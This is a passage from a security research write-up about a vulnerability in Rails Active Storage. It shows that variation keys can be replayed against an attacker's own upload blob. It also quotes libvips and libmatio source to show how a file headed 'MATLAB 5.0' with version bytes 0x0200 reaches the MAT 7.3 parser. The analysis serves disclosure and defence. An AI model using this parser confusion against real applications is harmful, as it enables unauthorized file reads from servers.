&lt;p&gt;&lt;code&gt;[5]&lt;/code&gt; checks the blob ID's signature. &lt;code&gt;[6]&lt;/code&gt;/&lt;code&gt;[7]&lt;/code&gt; separately check the variation key's signature. &lt;strong&gt;Nothing cross-checks that the key was actually issued for that blob.&lt;/strong&gt; An attacker can grab any &lt;code&gt;variation_key&lt;/code&gt; exposed by a legitimate representation URL from the same app and replay it against the signed ID of their own freshly-created direct-upload blob.&lt;/p&gt;

&lt;p&gt;That's the important part: the file-read stage doesn't require &lt;code&gt;secret_key_base&lt;/code&gt; at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Vips pipeline leaves decoder selection to libvips
&lt;/h2&gt;

&lt;p&gt;Active Storage hands the tempfile path off to &lt;code&gt;image_processing&lt;/code&gt;. The &lt;code&gt;loader(page: 0)&lt;/code&gt; call reads like it's picking a decoder — it isn't. It's just storing options for whichever loader libvips ends up choosing on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;:)&lt;/span&gt;
  &lt;span class="n"&gt;processor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
    &lt;span class="nf"&gt;source&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
    &lt;span class="nf"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;page: &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="c1"&gt;# [8]&lt;/span&gt;
    &lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
    &lt;span class="nf"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="c1"&gt;# [9]&lt;/span&gt;
    &lt;span class="n"&gt;call&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;image_processing&lt;/code&gt; 1.14.0's actual load logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nc"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_or_image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;loader: &lt;/span&gt;&lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;autorot: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;path_or_image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_a?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Vips&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path_or_image&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path_or_image&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;
      &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Vips&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;public_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="ss"&gt;load"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
      &lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_valid_loader_options&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Vips&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new_from_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# [12]&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;autorot&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;autorot&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;key?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:autorotate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;image&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;loader&lt;/code&gt; is &lt;code&gt;nil&lt;/code&gt;, so &lt;code&gt;[12]&lt;/code&gt; leaves the choice entirely to &lt;strong&gt;libvips's own file sniffers&lt;/strong&gt;. This is the point where "what Rails believes the file is" and "what libvips decides the file is" fully diverge.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. libvips vs. libmatio: two different opinions on the same header
&lt;/h2&gt;

&lt;p&gt;In libvips 8.16.1, &lt;code&gt;matload&lt;/code&gt; is explicitly flagged as untrusted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="nf"&gt;vips_foreign_load_mat_class_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VipsForeignLoadMatClass&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
    &lt;span class="n"&gt;operation_class&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;|=&lt;/span&gt; &lt;span class="n"&gt;VIPS_OPERATION_UNTRUSTED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// [13]&lt;/span&gt;
    &lt;span class="n"&gt;foreign_class&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;suffs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vips__mat_suffs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;load_class&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;is_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vips__mat_ismat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// [14]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vulnerable Active Storage releases never actually used that flag to block the loader. And the sniffer behind it is about as minimal as it gets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="nf"&gt;vips__mat_ismat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vips__get_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="n"&gt;vips_isprefix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MATLAB 5.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// [15]&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[15]&lt;/code&gt;: if the &lt;strong&gt;first 10 bytes&lt;/strong&gt; start with &lt;code&gt;"MATLAB 5.0"&lt;/code&gt;, libvips commits to &lt;code&gt;matload&lt;/code&gt;. Worth noting: a genuine MAT 7.3 file's header text actually reads &lt;code&gt;"MATLAB 7.3 MAT-file"&lt;/code&gt;, so it would fail this exact check — as far as libvips is concerned, this file looks like old-style MAT 5.0, nothing more.&lt;/p&gt;

&lt;p&gt;The library that actually parses the content, libmatio (1.5.28), doesn't look at that descriptive text at all — it reads a fixed &lt;strong&gt;version field at bytes 124–125&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="n"&gt;mat_ft&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;MAT_FT_MAT73&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="cm"&gt;/* MATLAB version 7.3 file */&lt;/span&gt; &lt;span class="c1"&gt;// [16]&lt;/span&gt;
    &lt;span class="n"&gt;MAT_FT_MAT5&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;MAT_FT_MAT4&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0010&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;MAT_FT_UNDEFINED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;Mat_Open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;matname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* read 116-byte header + 8-byte subsys_offset + 2 bytes + 2 bytes (tmp) */&lt;/span&gt;
    &lt;span class="n"&gt;bytesread&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;bytesread&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;subsys_offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;bytesread&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmp2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;bytesread&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;bytesread&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;byteswap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x4d49&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;byteswap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x494d&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;byteswap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Mat_int16Swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmp2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;tmp2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// [17] &amp;lt;- read from bytes 124–125&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x0100&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x0200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;byteswap&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bof&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ftello&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;FILE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;next_index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[17]&lt;/code&gt; decides the actual parsing path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="nf"&gt;ReadData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matvar_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;matvar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;MAT_FT_MAT5&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Mat_VarRead5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matvar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;#if defined(MAT73) &amp;amp;&amp;amp; MAT73
&lt;/span&gt;    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;MAT_FT_MAT73&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Mat_VarRead73&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matvar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// [18]&lt;/span&gt;
&lt;span class="cp"&gt;#endif
&lt;/span&gt;    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;MAT_FT_MAT4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Mat_VarRead4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matvar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;MATIO_E_FAIL_TO_IDENTIFY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Put the two together:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;libvips&lt;/strong&gt; commits to &lt;code&gt;matload&lt;/code&gt; if the first 10 bytes read &lt;code&gt;"MATLAB 5.0"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;libmatio&lt;/strong&gt; commits to the HDF5-backed &lt;code&gt;Mat_VarRead73&lt;/code&gt; path if bytes 124–125 read &lt;code&gt;0x0200&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

